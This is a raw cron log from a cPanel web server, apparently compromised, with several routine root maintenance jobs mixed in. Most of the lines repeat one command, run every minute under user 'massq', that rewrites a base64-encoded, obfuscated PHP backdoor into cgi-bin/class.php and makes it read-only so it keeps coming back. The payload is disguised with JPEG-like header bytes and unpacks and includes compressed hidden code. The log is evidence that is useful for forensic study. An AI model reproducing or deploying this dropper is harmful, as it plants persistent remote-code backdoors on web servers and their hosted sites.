Nov 10 10:28:01 server CROND[6860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:29:01 server CROND[7699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:30:01 server CROND[8547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:30:01 server CROND[8549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:30:01 server CROND[8548]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:30:01 server CROND[8550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:31:02 server CROND[9691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:32:01 server CROND[10565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:33:01 server CROND[11444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:34:01 server CROND[12218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:35:01 server CROND[13045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:35:01 server CROND[13047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:35:01 server CROND[13046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 10:35:01 server CROND[13050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:35:01 server CROND[13051]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 10:36:01 server CROND[14031]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:37:01 server CROND[14805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:38:01 server CROND[15637]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:39:01 server CROND[16474]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:39:01 server CROND[16475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:40:01 server CROND[17299]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:40:01 server CROND[17300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:40:01 server CROND[17302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:40:01 server CROND[17304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
